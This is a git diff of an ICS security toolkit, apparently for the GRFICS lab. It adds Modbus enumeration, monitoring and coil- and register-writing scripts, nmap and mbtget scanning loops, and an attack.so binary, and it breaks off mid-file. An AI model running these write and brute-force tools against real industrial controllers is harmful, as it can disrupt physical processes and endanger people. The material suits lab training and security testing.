+441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == 